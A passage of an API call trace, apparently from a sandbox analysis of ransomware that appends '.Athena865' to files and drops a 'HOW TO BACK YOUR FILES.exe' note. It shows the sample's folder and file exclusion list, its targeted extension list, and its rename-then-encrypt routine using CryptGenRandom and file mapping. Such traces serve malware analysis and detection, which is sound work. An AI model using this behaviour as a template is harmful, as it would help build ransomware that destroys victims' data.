param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe CreateFile error 32\r\n") returned 92 [0041.207] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe CreateFile error 32\r\n") returned 92 [0041.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0041.207] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x178b [0041.207] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5c, lpOverlapped=0x0) returned 1 [0041.207] CloseHandle (hObject=0x17c) returned 1 [0041.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe.Athena865" (normalized: "c:\\program files\\windows photo viewer\\floatchevroletalaska.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe" (normalized: "c:\\program files\\windows photo viewer\\floatchevroletalaska.exe"), dwFlags=0x1) returned 1 [0041.209] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0041.209] CloseHandle (hObject=0x0) returned 0 [0041.209] CloseHandle (hObject=0xffffffff) returned 0 [0041.209] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc465fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0041.209] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0041.209] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="windows") returned -1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="bootmgr") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="temp") returned -1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="pagefile.sys") returned -1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="boot") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ids.txt") returned 1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ntuser.dat") returned -1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="perflogs") returned -1 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="MSBuild") returned -1 [0041.209] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0041.209] lstrcpyW (in: lpString1=0x241e894, lpString2="ImagingDevices.exe" | out: lpString1="ImagingDevices.exe") returned="ImagingDevices.exe" [0041.209] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0041.209] lstrlenW (lpString="Athena865") returned 9 [0041.209] lstrcmpiW (lpString1="vices.exe", lpString2="Athena865") returned 1 [0041.209] lstrlenW (lpString=".dll") returned 4 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".dll") returned 1 [0041.209] lstrlenW (lpString=".lnk") returned 4 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".lnk") returned 1 [0041.209] lstrlenW (lpString=".ini") returned 4 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".ini") returned 1 [0041.209] lstrlenW (lpString=".sys") returned 4 [0041.209] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".sys") returned 1 [0041.209] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0041.210] lstrlenW (lpString="bak") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0041.210] lstrlenW (lpString="ba_") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0041.210] lstrlenW (lpString="dbb") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0041.210] lstrlenW (lpString="vmdk") returned 4 [0041.210] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0041.210] lstrlenW (lpString="rar") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0041.210] lstrlenW (lpString="zip") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0041.210] lstrlenW (lpString="tgz") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0041.210] lstrlenW (lpString="vbox") returned 4 [0041.210] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0041.210] lstrlenW (lpString="vdi") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0041.210] lstrlenW (lpString="vhd") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0041.210] lstrlenW (lpString="vhdx") returned 4 [0041.210] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0041.210] lstrlenW (lpString="avhd") returned 4 [0041.210] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0041.210] lstrlenW (lpString="db") returned 2 [0041.210] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0041.210] lstrlenW (lpString="db2") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0041.210] lstrlenW (lpString="db3") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0041.210] lstrlenW (lpString="dbf") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0041.210] lstrlenW (lpString="mdf") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0041.210] lstrlenW (lpString="mdb") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0041.210] lstrlenW (lpString="sql") returned 3 [0041.210] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0041.211] lstrlenW (lpString="sqlite") returned 6 [0041.211] lstrcmpiW (lpString1="es.exe", lpString2="sqlite") returned -1 [0041.211] lstrlenW (lpString="sqlite3") returned 7 [0041.211] lstrcmpiW (lpString1="ces.exe", lpString2="sqlite3") returned -1 [0041.211] lstrlenW (lpString="sqlitedb") returned 8 [0041.211] lstrcmpiW (lpString1="ices.exe", lpString2="sqlitedb") returned -1 [0041.211] lstrlenW (lpString="xml") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0041.211] lstrlenW (lpString="$er") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0041.211] lstrlenW (lpString="4dd") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0041.211] lstrlenW (lpString="4dl") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0041.211] lstrlenW (lpString="^^^") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0041.211] lstrlenW (lpString="abs") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0041.211] lstrlenW (lpString="abx") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0041.211] lstrlenW (lpString="accdb") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accdb") returned 1 [0041.211] lstrlenW (lpString="accdc") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accdc") returned 1 [0041.211] lstrlenW (lpString="accde") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accde") returned 1 [0041.211] lstrlenW (lpString="accdr") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accdr") returned 1 [0041.211] lstrlenW (lpString="accdt") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accdt") returned 1 [0041.211] lstrlenW (lpString="accdw") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accdw") returned 1 [0041.211] lstrlenW (lpString="accft") returned 5 [0041.211] lstrcmpiW (lpString1="s.exe", lpString2="accft") returned 1 [0041.211] lstrlenW (lpString="adb") returned 3 [0041.211] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.211] lstrlenW (lpString="adb") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.212] lstrlenW (lpString="ade") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0041.212] lstrlenW (lpString="adf") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0041.212] lstrlenW (lpString="adn") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0041.212] lstrlenW (lpString="adp") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0041.212] lstrlenW (lpString="alf") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0041.212] lstrlenW (lpString="ask") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0041.212] lstrlenW (lpString="btr") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0041.212] lstrlenW (lpString="cat") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0041.212] lstrlenW (lpString="cdb") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0041.212] lstrlenW (lpString="ckp") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0041.212] lstrlenW (lpString="cma") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0041.212] lstrlenW (lpString="cpd") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0041.212] lstrlenW (lpString="dacpac") returned 6 [0041.212] lstrcmpiW (lpString1="es.exe", lpString2="dacpac") returned 1 [0041.212] lstrlenW (lpString="dad") returned 3 [0041.212] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0041.212] lstrlenW (lpString="dadiagrams") returned 10 [0041.212] lstrcmpiW (lpString1="evices.exe", lpString2="dadiagrams") returned 1 [0041.212] lstrlenW (lpString="daschema") returned 8 [0041.212] lstrcmpiW (lpString1="ices.exe", lpString2="daschema") returned 1 [0041.212] lstrlenW (lpString="db-journal") returned 10 [0041.212] lstrcmpiW (lpString1="evices.exe", lpString2="db-journal") returned 1 [0041.212] lstrlenW (lpString="db-shm") returned 6 [0041.212] lstrcmpiW (lpString1="es.exe", lpString2="db-shm") returned 1 [0041.212] lstrlenW (lpString="db-wal") returned 6 [0041.212] lstrcmpiW (lpString1="es.exe", lpString2="db-wal") returned 1 [0041.213] lstrlenW (lpString="dbc") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0041.213] lstrlenW (lpString="dbs") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0041.213] lstrlenW (lpString="dbt") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0041.213] lstrlenW (lpString="dbv") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0041.213] lstrlenW (lpString="dbx") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0041.213] lstrlenW (lpString="dcb") returned 3 [0041.213] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0041.213] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe.Athena865") returned 66 [0041.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe.Athena865" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe.athena865"), dwFlags=0x1) returned 1 [0041.217] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe.Athena865" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.217] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93976) returned 1 [0041.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.217] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.218] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.218] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.218] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17220, lpName=0x0) returned 0x154 [0041.220] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17220) returned 0x100000 [0041.224] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.225] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.225] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.225] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.226] CloseHandle (hObject=0x154) returned 1 [0041.226] CloseHandle (hObject=0x17c) returned 1 [0041.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.229] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="windows") returned -1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="bootmgr") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="temp") returned -1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="pagefile.sys") returned -1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="boot") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ids.txt") returned 1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ntuser.dat") returned -1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="perflogs") returned -1 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="MSBuild") returned -1 [0041.229] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0041.229] lstrcpyW (in: lpString1=0x241e894, lpString2="ImagingEngine.dll" | out: lpString1="ImagingEngine.dll") returned="ImagingEngine.dll" [0041.229] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0041.229] lstrlenW (lpString="Athena865") returned 9 [0041.229] lstrcmpiW (lpString1="ngine.dll", lpString2="Athena865") returned 1 [0041.229] lstrlenW (lpString=".dll") returned 4 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".dll") returned 1 [0041.229] lstrlenW (lpString=".lnk") returned 4 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".lnk") returned 1 [0041.229] lstrlenW (lpString=".ini") returned 4 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".ini") returned 1 [0041.229] lstrlenW (lpString=".sys") returned 4 [0041.229] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".sys") returned 1 [0041.229] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0041.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.Athena865") returned 65 [0041.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll.athena865"), dwFlags=0x1) returned 1 [0041.230] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.230] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2484224) returned 1 [0041.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.231] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.231] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.231] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.231] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25eb00, lpName=0x0) returned 0x154 [0041.233] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x5eb00) returned 0x1f0000 [0041.463] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.463] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.463] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.464] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0041.467] CloseHandle (hObject=0x154) returned 1 [0041.467] CloseHandle (hObject=0x17c) returned 1 [0041.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.513] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="windows") returned -1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="bootmgr") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="temp") returned -1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="pagefile.sys") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="boot") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ids.txt") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ntuser.dat") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="perflogs") returned 1 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="MSBuild") returned 1 [0041.513] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0041.513] lstrcpyW (in: lpString1=0x241e894, lpString2="PhotoAcq.dll" | out: lpString1="PhotoAcq.dll") returned="PhotoAcq.dll" [0041.513] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0041.513] lstrlenW (lpString="Athena865") returned 9 [0041.513] lstrcmpiW (lpString1="toAcq.dll", lpString2="Athena865") returned 1 [0041.513] lstrlenW (lpString=".dll") returned 4 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".dll") returned 1 [0041.513] lstrlenW (lpString=".lnk") returned 4 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".lnk") returned 1 [0041.513] lstrlenW (lpString=".ini") returned 4 [0041.513] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".ini") returned 1 [0041.513] lstrlenW (lpString=".sys") returned 4 [0041.514] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".sys") returned 1 [0041.514] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0041.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll.Athena865") returned 60 [0041.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll" (normalized: "c:\\program files\\windows photo viewer\\photoacq.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photoacq.dll.athena865"), dwFlags=0x1) returned 1 [0041.514] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll.Athena865" (normalized: "c:\\program files\\windows photo viewer\\photoacq.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.515] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1096704) returned 1 [0041.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.515] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.516] 